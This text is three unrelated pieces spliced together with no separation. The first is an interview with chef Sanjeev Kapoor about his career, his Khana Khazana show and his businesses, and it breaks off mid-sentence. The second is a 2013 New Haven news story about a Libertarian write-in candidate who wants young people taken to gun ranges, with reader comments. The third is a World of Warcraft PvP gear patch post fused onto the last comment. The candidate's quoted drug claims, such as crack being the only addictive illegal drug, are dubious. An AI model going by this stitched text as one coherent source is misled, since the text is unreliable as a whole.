SK: At ITDC, on the day of induction, we were taken to different departments. When I met the executive chef, I asked him, “How old are you?” He said he was 40 and was curious to know why I had asked that question. I said, “I want to know how long it takes a person to become executive chef”. He said, ‘I started at 20, it has taken me 20 years, and I am probably the youngest to do so. Now that you know how long it takes, what do you plan to do about it’? I said, “if everybody takes 20 years, I will do it in 10.” He laughed and asked me how I planned to do it. I said, ‘If everybody spends eight hours on the job, I will spend 16’. Actually, for the first few years, that is exactly what I was doing. No day off, learning as much as I could from cooking skills to management, to just about everything. I was totally focused on my goal. Fortunately for me, the rules of the industry also changed and people could become executive chefs earlier.
ML: But ITDC was a government set up where promotions are based on seniority. How then did you have such a goal?
SK: Well, did I become executive chef there? No. We were trained for two years; of this, we had to train as an understudy to a chef for one and a half years. I was sent to Benares. I had gone there as a trainee. Within two months, the general manager thought I was better than the chef. So he spoke to the Head Office and got the chef transferred; I was made in-charge of that kitchen. So while I was being trained, I also worked as the head chef there.
ML: Wasn’t it unprecedented?
SK: It was completely unprecedented, especially in 1986. I was there for over two years. The exposure was tremendous. I was doing everything -- cooking, managing, man-management including handling the unions. The best thing about working in a government hotel is that you have two kinds of people – those who work and those who don’t work; and the people who work, also work for those who don’t.
ML: But wasn’t it a problem that someone so young was put in charge?
SK: Oh yes. They saw a kid heading the section and there was huge resistance. They were testing me in the first three months. Since it was a small hotel, in the rainy season, we used to buy fish from Kolkata in bulk and freeze it for three months. I had ordered 300 kilos of bekti fish and I told one of the cooks to fillet and deep-freeze it. He said, “you have ordered such large quantities of bekti, we have never filleted it before.” I still remember the guy’s name and face – he was Batuknath Mukherjee. I said, “don’t you know how to do it?” I asked a couple of others, they also said they didn’t. So I said, okay, I will teach you how to do it this time and you will have to do it yourself the next time. As luck would have it, I had done my butchery thoroughly. During our training we used to be sent to Vigyan Bhavan and there used to be a cook there who used to fillet big bektis like an artist. I was so fascinated by it that I had spent a lot of time learning how to do it. He did it in great style. He used to fillet a 10-12 kg fish, then lift the rest and flip it into a dustbin. I too had perfected that. So, I couldn’t have asked for a better opportunity to demonstrate it. After the first one, Batuk got up and said he would do it. I said, “No Batuk, you will sit here till I finish this.” I filleted the fish at a fantastic speed with all that style. After that, they treated me like I was the king of Benares until I was there. They were completely spellbound. Of course, there were things I didn’t know, like tandoor, which I learnt there. So my message was: if you work with me, work according to my style. I will teach you what I know and learn what I don’t. So it was a fantastic learning experience.
When you work in a government-run hotel, you learn a lot more than cooking. You get up one morning and find there is no hot water and that the boiler is not working. There is nobody in engineering so you learn how to turn on the boiler and find that there is no diesel. So you take the staff car and a drum and go to buy diesel and they ask you, do you want HSD or LSD? It teaches you so many things. After Benares, I did a stint at the Ashok Hotel and was then sent to New Zealand. By then, everybody knew there was something different about me. It is not that in the public sector you are not noticed or rewarded. I got the best postings, went to various places. In fact, everybody thought that I had some political connection that got me the postings.
ML: What was the New Zealand experience like?
SK: ITDC had sent me to open an Indian restaurant. When we reached there, the owner said, “Why have you come so early? The opening is a month away.” He didn’t want to pay us for that month. But within a week, he was saying that we should have come a month earlier. He had made a few mistakes and we showed him how to do things differently and save some money. There I learnt how to run a business. Within two months, the owner realised that this chef can manage the show. So although there was a general manager there, he told me to manage everything. ITDC wasn’t bothered about what we were doing and that suited us fine. We had a fairly large kitchen there; so I told him, from this kitchen I can open one more restaurant if we can hire the place next door and a couple of chefs. He said that is fantastic. The owner once lived in Africa. So I said, let’s open an African restaurant. That did well too. We called it Zanzibar. I had cheque-signing authority there and I had to make sure he made money. I too was incentivised.
ML: How long were you there?
SK: Two and a half years. I came back to Delhi sometime at the end of 1991, and, in 1992, I came to Mumbai. The managing director of Centaur (Hotel Corporation of India), Anil Bhandari, visited Delhi and came to the restaurant called Frontier. It used to be fantastic, better than Bukhara. He liked the food and on enquiring with the corporate chef learnt that there was a chef who had come back from New Zealand and was good. Bhandari asked him, “Would you object if I asked him to join me?” He did not. So Bhandari asked me if I would be keen on moving to Centaur. It wasn’t a big deal but I wanted to be an executive chef of a five-star hotel in 10 years and this was an opportunity. I said, if it was the Centaur Juhu property, then I would be. It was a large place and had a lot of these filmy parties. It also suited me because my would-be father-in-law had just retired as the Director General of Naval Design and was staying at Juhu. So I agreed, on the condition that they made me executive chef. I was asked to meet the director administration who said, “You don’t even have a single grey hair; how can we make you an executive chef?” After some discussion, they said, they would give me charge of food and culinary development while they would have another person for management of the kitchen and administration. I said, “nothing doing, without unity of command, it doesn’t work.” I was just over 27 and still had over two and a half years to become executive chef. So I said, ‘okay, if you have a problem, then put me in charge, give me the number one position, don’t call it executive chef, but one rung below that.
Let me be on probation for a year and if I deliver, you will give me the designation. They went back and forth and finally agreed. Within three months, they had made me executive chef of Juhu Centaur and I remained there for a few years.
ML: So you beat your target?
SK: Yes, I did. But I suddenly realised that that was a problem too. I had bettered the target, but it meant that I had reached the peak of my career so early.
ML: You didn’t want to move to, say, a global hotel chain?
SK: Well, I did look at other options. I was offered executive chef at Taj Bengal and I had almost joined there. I was interested in it because I was told that they had the best kitchen equipment, since it was a new hotel. But, by then, I had also started doing a TV programme so I did not join Taj Bengal.
ML: How did television happen?
SK: I was at Centaur and Zee TV was to be launched. There was a producer and director who used to be in Fiji managing a radio station. He approached Zee and wanted to do a television show. They said, most other programme slots are gone, but if you want to do a cookery show, it is open. He took it and then went to various hotels and met the top chefs to participate in it. He wanted a different chef for each episode. When he met me, I said it sounds interesting, but what will the show be called? He said, Sriman Bawarchi. I turned it down. When he asked why, I told him, “I am the executive chef at a five-star deluxe hotel; the title doesn’t go with the profile.” In 1992, television was huge and he was amazed that I would turn down a 30-minute show because of the title. He told me that many chefs who were bigger names than I, had agreed. Later, he asked if I could suggest a name and I gave a few options. Khana Khazana was one of them. He had an Australian partner who heard the name and said; “I don’t know what the hell it means but it sounds good phonetically.” So they decided to go with it, but Zee turned them down. They said, “it is our channel and our show, who are you to choose the name?” But I persuaded them to let me go along and convince Zee. I managed to change their thinking and I was still to do one episode.
ML: You went through all this trouble for just one episode? Most people wouldn’t have bothered.
SK: But it was exciting and different. Also, you must remember that, more than anything else, there was this fear in my mind that since I have reached so far, so early, what would I do next? Not only this, I also joined Narsee Munjee College for a part-time business management course from 7pm-9 pm. I was the oldest in the class and when they asked me why I was there, I said, “I am doing it for my dad; he always felt that I hadn’t studied to the full extent of my capability, so I am doing it.” Meanwhile, since I was showing such interest, the Zee producer said, “why don’t you become a consultant to our show?” I agreed.
ML: Did Khana Khazana really start with different chefs? Was it aired that way?
SK: No, but that is another story. The producer wanted me to do the first episode, because he thought I could do justice to the show. There was a popular actress who was to be the host and I was to cook. We shot for a full day and, at the end of it, the director wasn’t very happy with the actress. So he said, “why don’t you become the host and we will get other chefs on the show?” We shot three episodes like that and all of them got rejected. Anything that could go wrong, went wrong. The channel was new, the producer was new, the host was new, and the cameramen were new. I wondered whether I should keep working for the hotel and forget about television. Meanwhile, the multinational sponsor said, “this is a women’s show, we must have a woman host.” Obviously, since I was in each show, it wouldn’t work that way and the producer didn’t know what to say to me. Then one day, I got a call from the producer who said that one of the chefs who was to do the show had not turned up. He had the whole set booked and no chef. So he asked if I could go there and shoot. I said, “But my episodes were rejected.” He wanted to take a chance, but said that the channel may still reject it. I went there, saw what they had and said, “okay, I will cook something.” The host was a chatterbox and rather irritating. But the show went off well and was very lively. Since it was unplanned, the last dish I cooked was a chicken breast, stuffed with spinach and cheese in orange sauce and flambéed. She asked me what the dish was called. I said I was cooking it for the first time and hadn’t named it. I turned to the viewers and said, ‘why don’t you suggest a name for this dish?’ The letters that we got were in lakhs. It was stunning. It happened to be a little before Diwali and, those days, the tapes had to be sent to Hong Kong and uplinked from there. For some strange reason, the tapes of the next episode and even the one after that could not be sent. So my show was repeated nine times over the next three weeks. Every time it was aired, there were more letters. The channel just couldn’t believe what was happening. The director immediately said, “Well, we always told you that he is the one who can deliver.
ML: You are extremely comfortable in front of the camera and it works.
SK: Well, it does not come to me naturally. What do I do on TV? I teach; and you have to be a good teacher. I am also a very good speaker. All through school, and even during the hotel management course, I used to win all the elocution competitions. That helped. When I joined the hotel, I realised that the most difficult thing was to learn from old-timers. They would not teach. They would keep their recipes guarded; they would carry their special spices in tiny pouches, etc. How is one to learn, if the seniors don’t teach? I used to be so annoyed, I made a promise to myself that whatever I learn, I will teach it as soon as possible. In my first posting at Benares, I had started cookery classes in the hotel. My first students were the wives of top officials like the district magistrate and the superintendent of police. In New Zealand, I used to take cookery classes on Saturdays. At Centaur, I used to take classes and I even had a tie-up with SNDT University. When you teach, you understand what the students want, what questions they are likely to ask and can anticipate them. So I knew exactly what to explain. If you can teach well, cook well, speak well and smile well, then the show is done. Moreover, it is a fact that our industry doesn’t always attract the best talent and that is a regrettable. Even today, there are no ESOPs or profit-sharing in the hotel industry and hotel staff is among the worst paid.
Salaries have, indeed, risen by around 400% in the past year and a half, but the base was so low. A general manager in a five-star hotel will not get more than Rs50 lakh and there are just around 20 people in the country at that level. And look at the number of hours hotel staff put in! There are no weekends, no holidays.
ML: How did life change after that show?
SK: Well, I was still working at Centaur at Rs10,000 a month. Later, I quit my job and decided to do things on my own. For the past 14 years, I have been doing Khana Khazana. Then I started my own company after my brother pushed me to do it. He said “you are wasting your time at the hotel.” At that time, I didn’t have a house and, between my wife and me, our bank balance was less than a lakh.
ML: You were so clear about wanting to be executive chef at a certain age and were also on your way to planning an alternate career. So you must have had some clear plans and goals then.
SK: When the show became popular, my game plan was to make myself financially stable. I wanted a decent car, a house – those were priorities. But I always thought ahead. Even when I was at Centaur, I had my own website www.sanjeevkapoor.com. Even when Times of India didn’t have a website, I had one. In fact, we were one of the top 20 websites in India during the dotcom boom; we were one of the hottest sites that people wanted to acquire.
ML: But you chose not to sell?
SK: No, no. I did look at the offers, because there were so many of them. I had at least 20 meetings with Edelweiss. Rajesh Jain had just done a big deal at an obscene Rs500 crore. We weren’t making money, but our content attracted enormous traffic, so I decided that I must get at least Rs100 crore. It didn’t work out and I haven’t regretted it even for a day. My point was that I didn’t know whether I was giving away my right hand or my left by signing away the site. So I have no regrets. After the website, which helped reach out to people, came the books and that was big. I was not very keen on them initially because I wondered why people would want to read recipes since they were freely available on my show. But people kept asking me if I had any cookery books. Then, thanks to Tarla Dalal, I got into writing them.
ML: How did that happen?
SK: I came to know that her royalty for one year was around Rs80 lakh. This was in 1996. When I heard that, I said “wow, I must do this.” But even after I made up my mind, it took a little while. The reason why it took so long was that I used to put every recipe through several trials. I even asked those who could not cook, to try cooking something based on my recipe, to see if it turned out right. Then I published my first book -- Khazana of Indian Recipes –- and it was a big hit. My closest competitor was Arundhati Roy’s God of Small Things. We did upwards of 100,000 copies in the first year itself. That was really big and we – Harsha (Bhatkal owner of Popular Prakashan, Kapoor’s publisher) and I – decided to redefine this category. In fact, in these last 10 years, we have achieved a lot. In the past year and a half, we have sold 1.5 million copies and we will do even better this year.
ML: How is the publishing business structured? Is it a partnership?
SK: Yes, it is a partnership. I get a share of the profit – in fact, a large share of the profit. It is not an easy business. What we realised is that we needed a lot of titles to have more shelf space and catch up. So this year, we are aiming for 50 small books and four large books. Maybe we are ambitious; but we will not compromise on the way we do the books, the trials and the testing.
ML: But before you started the books, you were working at developing recipes for product companies, weren’t you? For instance, microwave recipes?
SK: The first book that I did was on microwave cooking for BPL. That was my first big cheque and carried my name also. I did a lot of consulting for the food industry, but I wouldn’t allow them to use my name. I would charge a good fee, which was pretty high by my standards, but I used to say, “You only pay me if it works.” I used to work on things that are considered pretty impossible. My logic was that I got the opportunity to learn at their laboratories and with their equipment, etc. I worked with several top food companies; but all our development work is bound by confidentiality contracts, so I cannot name them.
ML: So you started with the television show, website, books, then consulting—what else?
SK: Franchising of restaurants. Our director at Centaur wanted to set up a restaurant in Dubai because he had a brother-in-law there. He wanted to do it with me, although he himself had worked with the Taj. He said: “this is one chef who understands costs and knows business.” I wasn’t interested in a one-off restaurant. But he pushed me to do it and to work on a franchisee model and give my name and expertise. That sounded good. I still didn’t have a house. So he said he would give me a chunk of money as pre-opening fee. I agreed. That was 10 years ago and the restaurant was Khana Khazana. Then a friend of my brother’s said he wanted to open a restaurant in Ludhiana. I went and saw the place and said I couldn’t do it because the location and place wasn’t good. My brother said, “Don’t say no. You can’t aim for a five-star ambience everywhere. Can you design something for this market?” I said, “I would do it only if they were willing to change everything to meet my requirements.” They agreed and we started the Yellow Chilli.
ML: Do you have a clear segmentation among your restaurants?
SK: Yes. We have Khazana in Dubai; in Ludhiana, it is the Yellow Chilli, which is still among the best restaurants there after nine years. The Yellow Chilli is not in any of the major cities. We underplay our restaurants, because it is the one segment where brand erosion is likely to be the highest. We don’t want to create a big picture about our restaurants. I must also admit that we were not giving our best to the restaurant business because the excitement was not as much as with other things. But 10 months ago we decided to do restaurants in a big way. So we gave the Landmark group the master franchise rights for Yellow Chilli in India and Grain of Salt, our restaurant in Kolkata. In the next year, we will set up seven to eight outlets in Mumbai, Pune, Bangalore, Hyderabad, Delhi … we are doing it with a bang now. It is all very structured. Although we haven’t opened a single restaurant, we have over 120 people on board already, including an advertising agency and a PR agency. We have asked them to set up an R&D kitchen which is functioning. At our end, we have a quality audit team and a team of chefs in place.
ML: Where does the learning for all these new activities come from?
SK: Mainly from observation, I would say. It is not rocket science – it is just a process. The process itself is fairly simple; putting it in place and rolling it out is very difficult. For instance, making a McDonald’s burger is fairly simple; putting the process in place, to get identical burgers around the world is difficult. That is why we don’t have a single quick-service Indian food chain anywhere in the world. Not even one. And I often say that if anyone in India can do it, we alone can. People don’t understand that to get everything right and to put together the puzzle of consumers’ taste and the process delivery is not easy. Consider this. I have been doing this television show for 14 years non-stop – it is the longest running show across all categories. So we must be doing something right, isn’t it? The same goes for books, where we are the leaders. We are nowhere in foods, because we have not even reached the test market stage; we are still in the development stage. We are still at the stage where we are learning how to create more SKUs (stock keeping units).
ML: When you say foods, you clearly have some specific sections in mind. What are they?
SK: Let’s say pickles, chutneys or ready-to-cook pastes—our presence in the market is nothing. But that is a call we have taken because I am still learning that market. I need to be comfortable with my product in the market as I am with books or television. My issue is that if I get into something, I have to know everything about it myself. Even if I am sitting with a lawyer for a contract or intellectual property, I will know little in the first couple of meetings but by the third meeting, I would have studied all the details myself. It is the same with my books – the quality of paper, the ink used, the design – I am involved with everything.
I know foods, but do you think we are trained to make pickles in our hotel management course? No. Homemade pickles cannot be sold in the mass market. Mangoes have to be bought in season; put in brine tanks; we add spices in a different way. Did we know it? No. We had to learn it; check how the industry does it and then figure out how to do it better. We now make gourmet chutneys. We just sent our first container to the US; we are not selling it in India. Tesco has agreed to take our ready-to-cook products in the UK. But we are still learning how to do it in a factory. For instance, if we are making a red chilli pickle, we find out the quality, the source, the right season for buying it. In this case, it is Benaras. So the person will buy it from there, get my approval and, once approved, it is put into a process. Until then, I want to know everything. We currently have 30 SKUs in food, but we need at least 100 to have a real presence. Of course, we are not in every food segment – there are many things we don’t do.
ML: How do you see the food processing and restaurant industry in India developing in the coming years?
SK: The question is, how would branded players be perceived by customers in a market that is price sensitive? Would private labelling work the way it works internationally? Branded foods naturally cost more and, in a price-sensitive market like India, will people prefer private store brands? I hope not, because it is not in our interest. Currently, we get our products manufactured outside. But if the private labels do well, we will reduce costs, increase volumes by putting up our own manufacturing plants. We can even do it for others. Currently, it is a learning curve for everybody and we don’t know how the market will evolve. If branded food works, we will do well and we will create more brands and grow.
ML: If you were to point to five mega trends in the food industry, what would they be?
SK: Franchising has just started. The death rate of restaurants is very high. But franchised restaurants will do better. In the US, 90% of non-franchise restaurants close within three years. Management of cost, brand and logistics is a problem. With franchised restaurants, the ratio is completely reversed.
ML: But things are changing, aren’t they? For instance, Chitale of Pune never sold outside their own store; today, their brand is available in many stores.
SK: Do you know them? You must check what made them change their mind. I had made a few press statements about Maharashtrian food and why it is not as popular as Punjabi food or Gujarati food. I said, ‘Maharashtrians have a problem – they suffer from a syndrome called “bhakarwadi sampli” (bhakarwadi, a popular crispy savoury snack from Chitale, the most famous sweet shop in Pune, has people queuing up every morning to buy it. Within a couple of hours, the ‘bhakarwadi sampli’ -- ‘bhakarwadi is sold out’ black board would be displayed prominently to stop pesky customers from asking for it. For decades, most non-Maharashtrians wondered why the Chitales didn’t simply produce more. But that is the way Maharashtrians apparently do business - Editor).
My comment made front-page news in Pune. A while later, the owner called me to say, “we are now producing a lot more, so please stop saying that.” And, indeed, they have taken off. I now see Chitale vans delivering a host of products, including gulab jamuns and dahi. They do a very good gulab jamum mix and we always wondered how they did it differently. After a lot of research, we realised that the milk powder that they use is different. So we checked again to figure out why it was different and where to get it. We found out that they make it in-house, using the old oven-dried method, rather than spray-dried powder. So the particle size is larger. You can’t get it from anybody else, because nobody uses that technology. I am told that they don’t sell it to outsiders.
ML: So that is one trend, where ready-to-eat brands like Chitales are now producing more. What about other chains like Anjan Chatterjee’s Mainland China?
SK: If there is somebody who can do a large chain in a fairly decent way, it is Anjan. His delivery has been fantastic and he is passionate. A couple of years ago, we were dining in Mainland China and he was around. We were discussing how there aren’t too many good Chinese desserts, which affects sales. So I said Bombay Blue (another Mumbai-based food chain that is growing rapidly) does a sizzling brownie with ice cream. My kids love that. He asked “how do you do that?” I told him how easy it was because the brownie as well as the ice cream can be sourced from outside. He said, ‘from tomorrow all my restaurants will have it’. As luck would have it, we went back the next day and he really had it! A few days ago, we went to another of his restaurants – Machaan – an Indian restaurant – and I found that the sizzling brownie was there too. What is amazing is that he actually implemented it overnight and literally in all his restaurants! He is similarly focused on customer feedback. One of my friends had a bad experience at one of his restaurants. I told Anjan about it and, in a few days, my friend said that not only Anjan but also several people called to ask what happened and how can they make things better.
ML: What other trends do you see?
SK: Another trend is towards healthier food. It is slow at the moment; consumption is low, but food will become healthier. There is a first-mover advantage here but you need deep pockets to do it. A big MNC can probably do it but even they tend to work on a quarter-to-quarter basis and don’t think long term.
ML: Can you tell us about your 24-hour television?
SK: Channel? What channel? (laughs). Yes, I have dreamt of having a 24x7 cookery channel for the past few years. I want to fulfil that dream, but don’t know when. It will have lots of variety, showcase the talents of many chefs. It will showcase foods from different parts of India and from around the world. It will have restaurant reviews and health information. Everything will be related to food. Even if it is travel, it will have a food angle. It seems like a distant dream today. You have to understand that just one television programme on food has survived in a non-prime time slot. Star, Sony and Sahara had cookery shows; but |
Libertarian Candidate Calls For More Guns
by Paul Bass | Oct 31, 2013 11:23 am
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Posted to: Westville, Campaign 2013
A last-minute Westville aldermanic candidate proposed a fix for New Haven’s street violence: take more young people to the gun range, and help them get more guns. That way fewer potential shooters would mess with them, argued the candidate, Aaron Freeman. Freeman just made the deadline to register as a write-in candidate in next Tuesday’s election for alderman in Westville’s high-voting 25th Ward. Until a week ago, Democratic incumbent Adam Marchand was running for reelection unopposed. Then Michael Pinto, a prominent backer of mayoral candidate Justin Elicker, announced an 11th-hour candidacy as a write-in candidate. (Read about that here.) And now Freeman has entered the fray. Pinto and Freeman are among two of five officially registered write-in candidates in next Tuesday’s municipal elections. The others are perennial mayoral write-in candidate Roger Uihlein of the Neverending Books store; and aldermanic candidates Kevin Diggs and Patricia DePalma, who lost Sept. 10 Democratic aldermanic primaries in Beaver Hills/Westville’s Ward 27 and Fair Haven Heights’ Ward 11, respectively. The candidates’ names won’t appear on ballots. But because they registered, their votes will officially count if people write in their names. (West Haven’s incumbent mayor, John Picard, is running for reelection as a write-in.) Aaron Freeman, a 59-year-old unemployed former pizza-delivery driver, is a registered Libertarian, he said, although “I haven’t paid the $425 [the party] has been asking me for.” He discussed his reasons for running the other evening in a conversation on a bench outside the Central Avenue apartment complex where he lives with his mother, a retired teacher and bookkeeper. “Want a Twizzler?” he said, beginning the conversation by defying a a stereotypical criticism of Libertarians as selfish (as opposed to people who believe protecting individual rights produces the greater social good). “Politics today needs more initiative at the grassroots level,” he said. “I see so many 2nd Amendment advocates who don’t take inner-city children out to the rifle range. We haven an entire constitution that needs to be brought into the spotlight to see what the moths have eaten away.” He said the rifle-range trips would help both the gun-owners and their young guests—while offering a better alternative to city officials’ attempts to stem street shootings by seeking to ban guns. “It would make [the 2nd Amendment advocates] a lot of friends. It would give them better political clout,” Freeman argued. “It would demonstrate some willingness of outreach.” Meanwhile young people would less likely become shooting targets, in Freeman’s view: “People are going to be shot less often if they are not afraid of guns. If you can’t scare a person by pointing a gun at them, then you either have to fish or cut bait.” Especially if more law-abiding citizens arms themselves. “The way to control the illegal guns is for the illegal gun owners not to know who’s carrying,” said Freeman (pictured). Freeman he doesn’t have a gun and can’t afford to buy one; he’d buy a “little target pistol” if he could. His campaign platform also calls for reexamining drug laws, making more of them legal. Legal drugs often cause more harm than illegal ones, he said. He said that the gunman who went on a deadly rampage at the U.S. Navy Yard in Washington, D.C., in September, and the 34-year-old Connecticut woman who was shot dead while crashing her car near the White House on Oct. 3 both used prescribed Trazodone. “The outlawed stuff is safer than the legal stuff,” Freeman argued. “It is not constitutional.” Asked about crack cocaine, he said he doesn’t know if the state should continue banning it. “It is the only illegal drug I’ve heard of with an actual addiction.” Freeman said he hasn’t been able to land a new pizza-delivery gig since the family’s car died. True to his free-market, limited-government beliefs, he does not intend to apply for welfare, he said. “The thought does not please me. I don’t want to sell my soul.”
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posted by: robn on October 31, 2013 11:31am We’ll clearly be safer if everyone is armed; that’s why for Halloween I’ll be giving out Glocks instead of candy.
posted by: TheMadcap on October 31, 2013 12:26pm You ever notice the people calling for more guns and guns for self defense tend to live in areas where they never actually experience violent crime?(usually its the suburbs but in this case Westville)
posted by: Nathan on October 31, 2013 12:30pm Ignoring his thoughts about the impact of legal private ownership of firearms - because that issue, while relevant to some of the reported assaults, is not relevant to the posed questions about firearms violence - his thoughts regarding outreach to urban youth are not that different from what is advocated by some other groups with very different political affiliations. I would suggest that outreach centered upon education, vocation, and civil service would be more obvious candidates for progress than a trip to the shooting range, but it wouldn’t be as tantalizing to NHI as were Mr. Freeman’s statements.
posted by: JohnTulin on October 31, 2013 12:31pm Uhm, NHI, it is Oct 31st…..not April 1st!
posted by: Yaakov on October 31, 2013 1:08pm TheMadcap: A) Quite to the contrary, I’ve noticed that most of the people who seek to curtail the rights of legal gun owners live in areas where they never actually experience violent crime. B) Plenty of people in other neighborhoods of New Haven support legal firearm ownership. I know quite a few in Dwight, for example.
posted by: Anderson Scooper on October 31, 2013 1:18pm Can we all pitch in $20 to buy this Libertarian a hand-gun? I, for one, would feel so much safer if all the Mr. Freemans of this world were carrying pistols with them wherever they go….
posted by: THREEFIFTHS on October 31, 2013 2:58pm Like I said.The problem is we are focus on guns.The problem is not guns the problem is Gangs who use guns.Forget new laws because gangs represent organized crime networks w and trying to cut off their gun supply will be as effective as trying to cut off their drug supply.There is a war going on in America between gangs of young men who bear an uncanny resemblance to their counterparts in Sierra Leone or El Salvador. They live like them, they fight for control of the streets like them and they kill like them.Get rid of the gangs.
posted by: HewNaven on October 31, 2013 4:56pm I say we ban Twizzlers. They’re clearly dangerous. In this case they were used to lure Mr. Bass into an interview.
posted by: Chip on October 31, 2013 7:33pm What an absolutely idiotic concept! Just like Michele Bachman who said if everyone had guns we wouldn’t need the police. Right! Fact is that any kid with $100 can get a gun in an hour. With handguns most killings are done at very close range so it is not a matter of being a sharpshooter. So may of these killings are done by small town thugs who think they’re big men and being like big city gangstas, yet the real Bloods and Crips in places like LA would laugh at those fools.
posted by: David S Baker on November 1, 2013 7:53am I love Libertarians. The whole philosophy is, “Does the government HAVE to be in charge of that?” And when they talk about deregulating devices for killing or chemicals that make people jump off buildings it always sounds nutty. They are so far to the political right they start poking out on the left. Ironicly most think tanks theorists the ‘beltway DC’ and the national media draw from are front loaded with Libertarians because most change, these days, requires working with less. Sadly their social Darwinist attitude toward government is often misinterpreted as lack of compassion so they become the tiny party the DEMS and GOP can love to hate together. So, in a way, in any other town with TWO parties, this guy would be bringing us all together. (Cue Razzie calling Eliker GOP…) “Left-wing politicians take away your liberty in the name of children and of fighting poverty, while right-wing politicians do it in the name of family values and fighting drugs. Either way, government gets bigger and you become less free.” -Harry Browne
posted by: Aaron Freeman on November 3, 2013 1:49am David, I should like to see New Haven as a two party city but, most of my fellow Libertarians still seem to think that obvious logic will reign victorious in a drunken brawl. The scale of Left and Right is strictly a socialist scale,
with Fabian Socialism, or “Third Way,” being in the middle. The scale of Libertarian to Totalitarian gives a second dimension, and the Nolan Chart tends to show the majority as 80% Libertarian.
ThreeFifths, my understanding of Gang War is from Freakonomics, rather than Familiarity, but I imagine that the low level drug dealers want wars for the opportunities of advancement, while the well paid distributors don’t want these wars getting in the way of business. Some guy works long and hard, at less than minimum wage, to get a Tec-9, then has to do some shooting to show he’s ready for the next war. Were we to arm all black veterans with clean criminal records, these guys would do their demonstration shootings in Westville, so I don’t think Racism should be allowed.
Anderson, I was thinking afterwards that giving people the idea that I can’t defend myself might not be the best defense, and I’ve had my eye on a cute little.25 black powder piece at Woodbridge Trading Post.
Robn, Glocks would be expensive, but a target range in your back yard could be quite the treat.
Madcap, Guns are not the answer, but I’d like Concealed Carry Permits to be more affordable for the law abiding people of New Hall Ville.
A much more pressing issue for New Haven is prescription medication that’s been recommended by agents of the City, as in our school system. Consider the insurance issues, when Methylphenidate is found liable for the deaths of children, under our Ct. Constitution, Article I, Sec 4.
posted by: JMS on November 6, 2013 11:42am Just for the record Freeman recorded one single vote in Ward 25. One. Not two. Not three. One. His own I assume. I think it is safe to say this entire platform has thankfully been rebuked. http://www.newhavenindependent.org/index.php/archives/entry/election_day_results/There are more really big changes coming to the way that PVP gear works coming in patch 5.3. As you know if you read our previous blog on the subject, we approached patch 5.2 with the goal in mind of narrowing the PvP gear gap, as well as working to make PvP more accessible to all players, to broaden interest and provide a robust pool of competitors that enriches the PvP experience for everyone.
PvE vs. PvP
We face some significant challenges, so we’re prepared to take some unprecedented steps to meet them. Historically, we have always had a hard time balancing PvP gear against PvE gear, as these two areas of the game have very different gear design goals. In PvP, we want gear to matter, but we don’t want gear to become the overwhelming reason someone wins a match. For PvE, the difference in power between tiers has to be significant enough that players really feel rewarded and more powerful when they upgrade. This problem has been compounded as we now have Raid Finder, normal and heroic raid tiers, as well as item level gating to enter the Raid Finder.
Transitions: From Season 12 to Season 13
Patch 5.2’s gear changes represented our first attempt to balance PvP gear with PvE gear, and offer better ways to narrow the gear gap. We introduced the Elite tier of gear that would be available to all players after earning 27,000 Conquest Points throughout the season. This allowed us to balance Honor gear against Raid Finder gear, Conquest gear against normal mode raiding gear and Elite gear against Heroic mode raid gear. But, keeping pace with PvE gear also means that there is significant difference between this season’s Honor gear and the Elite gear. Not to mention that there is a tremendous difference between a fresh 90 and a veteran, Elite geared player. While it’s important to have that difference, the competitive nature of PvP means that highly geared players can serve as a deterrent to players who are looking into trying PvP for the first time. Trying to keep pace with the escalating ilevel of PvE gear has proven quite difficult for PvP.
Furthermore, as Season 13 has illustrated, having more than two levels of PvP gear can generate some significant issues during season transitions. Players expect that each season will start on a fairly level playing field. The presence of upgrades in 5.1 meant that some players now have a gear advantage over players with this season’s Honor gear. The presence of higher ilevel Elite gear has the potential to create an even bigger issue in Season 14.
Still, we think we’ve taken some great steps forward with PvP gear in Mists of Pandaria. PvP Power has given us an extremely useful ‘knob’ to turn so we can adjust PvP gear to make sure that it’s better than its PvE equivalent. Meanwhile Resilience, while well-intentioned, has actually made the gear gap worse over time. We think that most players would be okay with going into PvP with lower damage if they were a bit more durable. We believe that a broader population of PvPers will offer a better experience for everyone, and also provide a better pool of players as we introduce refinements to how Battleground queuing works in the future. One of the best ways for us to increase the number of players that participate in PvP is to reduce the barrier to entry for those who play World of Warcraft regularly but don’t participate in PvP. Specifically, we’re referring to PvE players that spend a lot of time gearing up in PvE but feel that PvE gear is a severe liability in PvP (because, well, it is ).
Incoming 5.3 Gear Changes
With all of this in mind, we’re making some pretty dramatic changes to PvP gear and the PvP environment in 5.3:
Base Resilience will be set to 65% for all characters level 85 and higher
Resilience will be removed from nearly all PvP gear
Players will still be able to use Resilience gems and enchants
PvP power will remain exclusively on PvP gear
PvP set bonuses that currently provide Resilience will now provide PvP Power
Healers and hybrid-casters will benefit to a greater degree from PvP Power, and Battle Fatigue will increase to make PvP gear superior for healers.
Conquest gear will be increased to item level 496 (up from 493).
Elite gear will be decreased to item level 496. This gear will essentially become a prestige upgrade.
The Big Change: We will be adding an item level ceiling to all gear in unrated Battlegrounds, Rated Battlegrounds and Arenas All gear with item levels higher than 496 will be scaled down to 496 (Conquest gear item level). This includes even Conquest items that exceed the ilevel ceiling, such as weapons.
We will be adding an item level ceiling to all gear in unrated Battlegrounds, Rated Battlegrounds and Arenas
In addition, some of the changes that we’ve discussed previously will also be implemented:
In patches that don’t include a new season (including patch 5.3), the seasonal currency requirement of 7,250 Conquest Points earned will be lifted from weapons. The seasonal currency requirement must always be met to purchase Elite items, though.
Once the 27,000 Conquest Point seasonal currency requirement is reached, players will be able to purchase Tyrannical Gladiator’s gear with Honor Points.
The Conquest Point catch up cap will be introduced. You can read our PvP Gear in 5.2 and Beyond blog for more information on these changes.
We’re taking these steps because we want to improve by providing a richer pool of potential competitors (which can result in faster queues, as well as queuing system refinements later on), and make an incredibly fun element of World of Warcraft more accessible to a larger audience.
What to Expect
We expect these changes will bring about a number of significant effects. First, we feel that they will still preserve our most important design goal: the best gear for competitive PvP will come from PvP. Since all other gear will be scaled down to the Conquest’s item level of 496 as a maximum, the Conquest gear will always be better by a significant margin because it will have PvP Power on it (which doesn’t count toward the item’s item level budget). Even Honor gear, with its considerable amount of PvP Power, will provide more damage in PvP than normal and Heroic raid gear. For example, a Heroic Thunderforged weapon and a Conquest weapon will be the same item level in PvP, with the same amount of primary stats, secondary stats and stamina. While the PvE weapon will do very good damage, it will still do less damage than the Conquest weapon due to the presence of PvP power on the PvP weapon.
